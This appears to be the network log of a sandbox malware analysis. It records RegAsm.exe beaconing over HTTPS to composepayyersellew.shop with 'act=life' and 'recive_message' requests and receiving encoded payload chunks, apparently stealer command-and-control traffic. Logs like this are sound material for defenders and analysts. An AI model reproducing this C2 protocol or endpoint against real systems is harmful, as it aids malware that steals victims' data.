Jun 22, 2024 10:17:07.275770903 CEST	49705	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:07.275799990 CEST	443	49705	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:07.688291073 CEST	443	49705	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:07.688390970 CEST	443	49705	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:07.688457012 CEST	49705	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:07.688551903 CEST	49705	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:07.688585997 CEST	443	49705	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:07.713570118 CEST	49706	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:07.713613987 CEST	443	49706	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:07.713692904 CEST	49706	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:07.713998079 CEST	49706	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:07.714037895 CEST	443	49706	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:08.173768997 CEST	443	49706	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:08.173860073 CEST	49706	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:08.175348997 CEST	49706	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:08.175379992 CEST	443	49706	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:08.175636053 CEST	443	49706	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:08.177180052 CEST	49706	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:08.177344084 CEST	49706	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:08.177388906 CEST	443	49706	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:08.177449942 CEST	49706	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:08.177463055 CEST	443	49706	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:08.609790087 CEST	443	49706	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:08.609901905 CEST	443	49706	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:08.609963894 CEST	49706	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:08.610089064 CEST	49706	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:08.610136032 CEST	443	49706	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:08.680067062 CEST	49707	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:08.680104017 CEST	443	49707	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:08.680285931 CEST	49707	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:08.680568933 CEST	49707	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:08.680584908 CEST	443	49707	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:09.157336950 CEST	443	49707	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:09.158593893 CEST	49707	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:09.203210115 CEST	49707	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:09.203244925 CEST	443	49707	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:09.203521013 CEST	443	49707	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:09.211502075 CEST	49707	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:09.211683989 CEST	49707	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:09.211710930 CEST	443	49707	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:09.218599081 CEST	49707	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:09.218610048 CEST	443	49707	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:09.741184950 CEST	443	49707	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:09.741303921 CEST	443	49707	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:09.741353035 CEST	49707	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:09.741431952 CEST	49707	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:09.741445065 CEST	443	49707	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:09.905391932 CEST	49708	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:09.905450106 CEST	443	49708	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:09.905514002 CEST	49708	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:09.905883074 CEST	49708	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:09.905900955 CEST	443	49708	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:10.363270998 CEST	443	49708	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:10.363368034 CEST	49708	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:10.364872932 CEST	49708	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:10.364906073 CEST	443	49708	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:10.365166903 CEST	443	49708	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:10.366436958 CEST	49708	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:10.366574049 CEST	49708	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:10.366616964 CEST	443	49708	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:10.784053087 CEST	443	49708	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:10.784154892 CEST	443	49708	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:10.784267902 CEST	49708	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:10.784607887 CEST	49708	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:10.784634113 CEST	443	49708	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:10.798305988 CEST	49709	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:10.798346043 CEST	443	49709	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:10.798619986 CEST	49709	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:10.798718929 CEST	49709	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:10.798732042 CEST	443	49709	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:11.254102945 CEST	443	49709	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:11.254242897 CEST	49709	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:11.255739927 CEST	49709	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:11.255750895 CEST	443	49709	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:11.255990028 CEST	443	49709	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:11.257663965 CEST	49709	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:11.258090973 CEST	49709	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:11.258096933 CEST	443	49709	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:11.636612892 CEST	443	49709	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:11.636751890 CEST	443	49709	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:11.636820078 CEST	49709	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:11.637001038 CEST	49709	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:11.637017965 CEST	443	49709	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:12.439536095 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.439578056 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:12.439655066 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.440057993 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.440073013 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:12.900670052 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:12.900744915 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.902806044 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.902816057 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:12.903148890 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:12.904696941 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.905683041 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.905715942 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:12.905792952 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.905823946 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:12.905917883 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.905971050 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:12.906099081 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.906112909 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:12.906240940 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.906254053 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:12.906393051 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.906404972 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.906414986 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:12.906781912 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.906804085 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.916265011 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:12.916455030 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.916472912 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:12.916492939 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.916503906 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.916515112 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:12.916627884 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.916661978 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.916683912 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.921009064 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:12.921149015 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:12.921159983 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:14.306961060 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:14.307085037 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:14.308670044 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:14.315037012 CEST	49710	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:14.315053940 CEST	443	49710	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:14.317457914 CEST	49711	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:14.317550898 CEST	443	49711	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:14.317646027 CEST	49711	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:14.317956924 CEST	49711	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:14.317995071 CEST	443	49711	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:14.776371956 CEST	443	49711	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:14.776520967 CEST	49711	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:14.788187027 CEST	49711	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:14.788223028 CEST	443	49711	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:14.788589954 CEST	443	49711	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:14.789891005 CEST	49711	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:14.789948940 CEST	49711	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:14.789995909 CEST	443	49711	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:15.453807116 CEST	443	49711	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:15.453917027 CEST	443	49711	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:15.454015017 CEST	49711	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:15.454176903 CEST	49711	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:15.454217911 CEST	443	49711	104.21.49.90	192.168.2.7
Jun 22, 2024 10:17:15.454246998 CEST	49711	443	192.168.2.7	104.21.49.90
Jun 22, 2024 10:17:15.454263926 CEST	443	49711	104.21.49.90	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 22, 2024 10:17:04.784574032 CEST	56187	53	192.168.2.7	1.1.1.1
Jun 22, 2024 10:17:04.795172930 CEST	53	56187	1.1.1.1	192.168.2.7
Jun 22, 2024 10:17:25.917974949 CEST	53	60422	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 22, 2024 10:17:04.784574032 CEST	192.168.2.7	1.1.1.1	0x2f8b	Standard query (0)	composepayyersellew.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 22, 2024 10:17:04.795172930 CEST	1.1.1.1	192.168.2.7	0x2f8b	No error (0)	composepayyersellew.shop		104.21.49.90	A (IP address)	IN (0x0001)	false
Jun 22, 2024 10:17:04.795172930 CEST	1.1.1.1	192.168.2.7	0x2f8b	No error (0)	composepayyersellew.shop		172.67.189.112	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

composepayyersellew.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49703	104.21.49.90	443	7132	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-22 08:17:05 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: composepayyersellew.shop
2024-06-22 08:17:05 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-06-22 08:17:05 UTC	820	IN	HTTP/1.1 200 OK Date: Sat, 22 Jun 2024 08:17:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pi2ldn2l0qffij5hfan48f6ker; expires=Wed, 16-Oct-2024 02:03:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kaf8d6yhiEP9tVouP6YwnzBBnChJWcxq6%2BxYZ3%2BDOI8C%2Fxo0isjTY9Jee6%2BVeYl%2FrzGbS%2Fl9O1kmjaFDfsAtxpbd838Qg1e6KaG9%2B740099zKrX%2B4wl7dooOZlhLeR2igPF6cyODDeUZzic%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 897accc8afaa42ce-EWR alt-svc: h3=":443"; ma=86400
2024-06-22 08:17:05 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-06-22 08:17:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49704	104.21.49.90	443	7132	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-22 08:17:06 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 57 Host: composepayyersellew.shop
2024-06-22 08:17:06 UTC	57	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 40 4b 75 6c 61 79 74 72 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--@Kulaytr&j=default
2024-06-22 08:17:06 UTC	810	IN	HTTP/1.1 200 OK Date: Sat, 22 Jun 2024 08:17:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iucgls2mr8nputmrrrajc8vihg; expires=Wed, 16-Oct-2024 02:03:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DaB46pliWmuH%2BeqNpxJNCOOhJbUoIQZg3x36w%2BpDdndUlFs8t06qvkYYfl2zIAc94F0oA2yFIg%2FxshGYTRxy49myY7qQzy4Rvy0N5N1pQeXAyodmnXWJqK6i9NNnA6UNkJvv6RSngmq101o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 897accce5a1c425e-EWR alt-svc: h3=":443"; ma=86400
2024-06-22 08:17:06 UTC	559	IN	Data Raw: 35 39 66 34 0d 0a 66 43 75 76 30 6b 68 2f 43 53 6e 71 5a 50 64 2b 6d 56 6a 6e 74 52 6a 76 65 51 51 4c 4c 41 36 41 4e 4f 68 6b 46 79 4f 55 77 72 63 48 49 59 2f 79 61 67 6b 72 45 38 70 51 32 33 53 35 65 4d 58 47 66 63 31 44 4a 48 39 65 65 2b 55 59 34 6b 51 33 41 66 57 6d 6c 55 59 4c 79 62 4d 6b 44 47 77 46 34 45 54 58 58 50 77 67 78 59 38 34 74 48 4d 6b 4b 77 77 75 2b 78 54 4b 41 58 6b 42 72 75 4b 56 47 55 48 4e 73 79 51 64 61 45 4b 46 46 4a 73 64 38 54 53 41 33 58 32 4d 48 57 56 6e 51 57 76 6c 55 59 6b 4f 65 55 72 35 71 74 70 65 42 34 2f 77 4c 51 55 72 45 38 70 47 75 68 76 74 4f 61 72 55 61 34 52 62 4a 48 59 41 42 4b 41 55 79 45 52 73 41 37 61 6e 32 56 34 52 6a 2f 41 70 47 6d 74 46 6a 41 43 63 46 76 45 77 67 39 5a 38 68 51 6c 74 62 55 52 6d 34 6c 43 42 43 Data Ascii: 59f4fCuv0kh/CSnqZPd+mVjntRjveQQLLA6ANOhkFyOUwrcHIY/yagkrE8pQ23S5eMXGfc1DJH9ee+UY4kQ3AfWmlUYLybMkDGwF4ETXXPwgxY84tHMkKwwu+xTKAXkBruKVGUHNsyQdaEKFFJsd8TSA3X2MHWVnQWvlUYkOeUr5qtpeB4/wLQUrE8pGuhvtOarUa4RbJHYABKAUyERsA7an2V4Rj/ApGmtFjACcFvEwg9Z8hQltbURm4lCBC
2024-06-22 08:17:06 UTC	1369	IN	Data Raw: 73 49 65 43 59 2b 76 5a 48 55 70 43 63 70 45 6a 46 36 37 50 59 6d 58 49 73 39 62 59 6d 68 4b 62 65 5a 59 68 41 4a 35 52 2f 69 74 32 68 68 44 7a 62 63 67 46 57 4e 4b 68 51 32 61 48 50 34 33 67 64 46 32 6a 42 34 6d 4a 77 77 73 35 55 37 4b 58 6a 63 42 32 4b 66 57 44 41 76 34 73 79 51 54 62 46 33 49 52 49 70 53 6b 33 6a 48 6c 54 69 55 57 53 5a 75 51 69 79 36 46 4d 6f 49 63 45 37 6b 6f 63 63 62 52 39 2b 38 4c 78 74 6d 53 49 59 47 6b 42 76 32 4e 49 50 51 65 59 55 66 5a 32 64 43 5a 75 46 53 69 55 59 37 41 37 61 6e 7a 56 34 52 6a 2f 41 62 48 6d 39 4d 6d 67 57 62 58 4c 6b 6c 79 37 38 34 7a 31 6b 6b 63 41 77 73 35 56 72 4b 58 6a 63 42 2f 4b 62 59 46 30 4c 4b 75 43 59 50 59 45 53 4c 44 35 49 61 38 54 6d 4e 33 58 79 44 47 6d 46 73 53 58 37 73 58 59 63 46 66 30 65 32 Data Ascii: sIeCY+vZHUpCcpEjF67PYmXIs9bYmhKbeZYhAJ5R/it2hhDzbcgFWNKhQ2aHP43gdF2jB4mJwws5U7KXjcB2KfWDAv4syQTbF3IRIpSk3jHlTiUWSZuQiy6FMoIcE7koccbR9+8LxtmSIYGkBv2NIPQeYUfZ2dCZuFSiUY7A7anzV4Rj/AbHm9MmgWbXLkly784z1kkcAws5VrKXjcB/KbYF0LKuCYPYESLD5Ia8TmN3XyDGmFsSX7sXYcFf0e2
2024-06-22 08:17:06 UTC	1369	IN	Data Raw: 7a 43 73 53 41 54 62 6b 47 45 44 70 73 66 36 54 57 42 31 33 61 46 45 57 74 6e 53 6d 54 72 58 59 45 41 64 55 44 38 34 4a 74 63 43 63 71 6f 61 6b 55 70 43 37 77 42 6d 52 48 30 65 4c 44 55 64 49 4d 63 63 43 6b 4d 63 36 77 2b 79 45 51 33 41 2b 2f 69 6c 52 6c 46 6a 65 68 6f 58 57 64 43 69 41 32 66 47 50 73 39 69 4e 4a 35 69 68 68 72 62 6b 52 69 35 56 4b 47 44 33 68 48 39 71 66 52 47 31 76 49 75 53 59 52 4b 77 58 4b 52 70 49 45 75 32 4c 48 6c 31 57 4b 44 57 56 47 54 58 33 72 46 73 67 5a 4f 79 6d 30 34 70 64 63 55 49 2f 77 4c 52 45 72 45 38 70 47 6b 68 6e 7a 4d 59 50 66 65 70 38 65 61 47 4a 50 5a 75 52 58 68 77 70 7a 51 66 65 67 30 78 4a 4a 79 72 63 34 44 32 35 4e 6d 67 7a 56 55 72 6c 36 67 73 38 36 31 56 6b 6d 58 31 35 37 38 30 44 49 4d 33 5a 50 2b 4b 66 44 58 Data Ascii: zCsSATbkGEDpsf6TWB13aFEWtnSmTrXYEAdUD84JtcCcqoakUpC7wBmRH0eLDUdIMccCkMc6w+yEQ3A+/ilRlFjehoXWdCiA2fGPs9iNJ5ihhrbkRi5VKGD3hH9qfRG1vIuSYRKwXKRpIEu2LHl1WKDWVGTX3rFsgZOym04pdcUI/wLRErE8pGkhnzMYPfep8eaGJPZuRXhwpzQfeg0xJJyrc4D25NmgzVUrl6gs861VkmX15780DIM3ZP+KfDX
2024-06-22 08:17:06 UTC	1369	IN	Data Raw: 6f 58 57 78 48 79 46 37 58 58 50 49 32 68 4e 5a 77 69 78 42 6a 5a 45 35 70 36 46 47 47 42 6e 56 43 38 4b 62 59 46 6b 48 42 76 43 6b 51 62 6b 2b 61 46 4a 45 55 75 33 54 48 6c 33 32 56 57 7a 34 72 44 6d 66 58 57 4a 78 47 4e 31 36 34 79 4a 64 63 43 34 2b 70 61 46 31 73 52 38 68 65 31 31 7a 79 4d 35 66 5a 64 49 51 57 59 47 46 4a 59 75 39 64 6a 41 31 79 52 76 43 74 33 52 4e 4d 7a 72 45 75 46 33 6c 49 67 77 79 59 46 72 74 30 78 35 64 39 6c 56 73 2b 4b 77 35 4c 37 6e 2b 61 48 57 64 58 74 75 4c 4b 55 43 47 50 38 6d 68 66 63 67 6e 49 41 5a 6c 63 6f 33 6a 46 31 48 57 45 46 47 35 68 51 57 50 6d 57 49 77 41 65 45 54 35 71 73 63 57 52 38 43 37 4a 52 5a 35 53 34 55 43 6d 52 6a 7a 4d 59 2b 58 4e 4d 39 62 59 58 45 4f 4e 4b 41 57 76 77 74 36 51 66 57 32 6c 56 78 57 67 39 Data Ascii: oXWxHyF7XXPI2hNZwixBjZE5p6FGGBnVC8KbYFkHBvCkQbk+aFJEUu3THl32VWz4rDmfXWJxGN164yJdcC4+paF1sR8he11zyM5fZdIQWYGFJYu9djA1yRvCt3RNMzrEuF3lIgwyYFrt0x5d9lVs+Kw5L7n+aHWdXtuLKUCGP8mhfcgnIAZlco3jF1HWEFG5hQWPmWIwAeET5qscWR8C7JRZ5S4UCmRjzMY+XNM9bYXEONKAWvwt6QfW2lVxWg9
2024-06-22 08:17:06 UTC	1369	IN	Data Raw: 42 63 70 47 6b 67 53 37 59 73 65 58 58 5a 63 57 59 48 35 66 57 65 56 57 32 30 59 33 58 72 6a 49 6c 31 77 4c 6a 36 6c 6f 58 57 78 48 79 46 37 58 58 50 59 32 6a 39 70 2f 69 52 4e 68 61 6b 39 67 35 6c 75 48 41 6e 78 46 38 37 4c 48 47 45 66 4e 76 79 51 53 5a 31 6d 47 41 35 55 51 75 33 54 48 6c 33 32 56 57 7a 34 72 44 6c 33 31 56 73 70 45 61 67 2b 65 34 70 64 63 43 39 54 79 61 68 70 6e 43 39 42 45 31 52 50 32 4b 49 6e 59 65 6f 77 59 59 6d 4a 4a 61 75 52 58 69 51 4e 32 52 50 43 68 31 52 4a 44 79 72 67 67 45 32 5a 4e 6a 41 43 54 58 4c 56 34 78 64 42 69 7a 55 4d 6b 4b 58 78 68 37 46 2b 4a 41 48 68 58 33 70 47 56 58 46 61 44 32 47 68 66 4b 51 6d 52 52 4e 55 62 39 33 72 64 6c 54 71 4a 45 47 35 6c 53 32 54 6e 56 34 49 4d 66 55 37 35 73 74 51 52 51 4d 71 37 4a 78 4a Data Ascii: BcpGkgS7YseXXZcWYH5fWeVW20Y3XrjIl1wLj6loXWxHyF7XXPY2j9p/iRNhak9g5luHAnxF87LHGEfNvyQSZ1mGA5UQu3THl32VWz4rDl31VspEag+e4pdcC9TyahpnC9BE1RP2KInYeowYYmJJauRXiQN2RPCh1RJDyrggE2ZNjACTXLV4xdBizUMkKXxh7F+JAHhX3pGVXFaD2GhfKQmRRNUb93rdlTqJEG5lS2TnV4IMfU75stQRQMq7JxJ
2024-06-22 08:17:06 UTC	1369	IN	Data Raw: 4e 63 46 75 58 71 43 32 7a 72 56 57 53 5a 6e 51 32 72 6a 56 34 49 4f 64 55 66 38 70 4e 59 58 53 73 71 35 4c 42 5a 6f 51 59 63 42 6b 78 6a 37 4d 59 4c 5a 66 49 67 51 62 79 6b 41 4c 71 4a 52 6b 6b 59 74 41 37 61 47 39 67 78 62 2f 37 34 70 42 69 73 4a 6c 30 6a 39 58 72 6c 34 78 38 34 34 7a 52 78 71 4b 52 59 75 6f 6c 32 43 43 57 64 45 2f 36 6a 52 46 30 6e 4a 75 69 63 61 61 30 36 46 41 35 45 53 2f 7a 32 46 32 33 57 4b 45 32 6c 74 54 6d 4f 69 47 4d 68 47 63 6c 6d 32 2b 4a 64 65 61 63 61 6d 43 78 4e 67 57 63 68 45 69 6c 4b 54 65 4d 65 56 4f 4a 52 5a 4a 6d 35 43 4c 4c 6f 55 79 67 68 38 51 50 36 75 32 52 5a 4e 33 37 41 68 46 47 52 4b 68 77 61 57 48 66 45 79 6c 39 46 36 68 68 4e 68 59 55 70 69 38 46 65 46 52 6a 73 44 74 71 66 4e 58 68 47 50 38 42 73 4c 62 45 79 48 Data Ascii: NcFuXqC2zrVWSZnQ2rjV4IOdUf8pNYXSsq5LBZoQYcBkxj7MYLZfIgQbykALqJRkkYtA7aG9gxb/74pBisJl0j9Xrl4x844zRxqKRYuol2CCWdE/6jRF0nJuicaa06FA5ES/z2F23WKE2ltTmOiGMhGclm2+JdeacamCxNgWchEilKTeMeVOJRZJm5CLLoUygh8QP6u2RZN37AhFGRKhwaWHfEyl9F6hhNhYUpi8FeFRjsDtqfNXhGP8BsLbEyH
2024-06-22 08:17:06 UTC	1369	IN	Data Raw: 6c 34 78 35 56 6a 7a 31 74 68 5a 51 34 30 6f 42 61 50 42 58 4a 48 2b 61 6a 54 47 6b 62 43 73 79 41 58 61 30 4f 50 41 70 51 63 2f 6a 6d 49 32 58 43 48 47 47 70 6e 54 57 48 73 56 73 70 49 4e 77 48 78 75 4a 56 47 43 34 32 54 50 51 74 68 55 4d 68 45 69 6c 4b 54 65 4d 65 56 4f 4a 52 5a 4a 6d 35 43 4c 4c 6f 55 79 67 74 79 54 2f 36 6d 32 78 68 62 77 62 38 73 48 57 70 42 68 51 71 65 47 2f 55 78 67 39 4a 33 6a 52 31 67 62 55 70 6f 37 46 58 4b 53 44 63 42 38 62 69 56 52 67 75 4e 6c 77 63 73 4b 57 69 66 45 4a 38 62 39 79 79 4f 31 6e 6d 62 46 6e 59 70 44 48 4f 73 50 73 68 45 4e 77 50 76 34 70 55 5a 52 59 33 6f 61 46 31 67 52 59 30 48 6d 52 62 38 4e 4a 66 57 63 49 45 61 59 57 35 46 66 75 6c 45 67 51 35 32 54 2f 36 70 31 52 42 4a 7a 4c 30 71 58 53 55 4a 79 41 47 4e 58 Data Ascii: 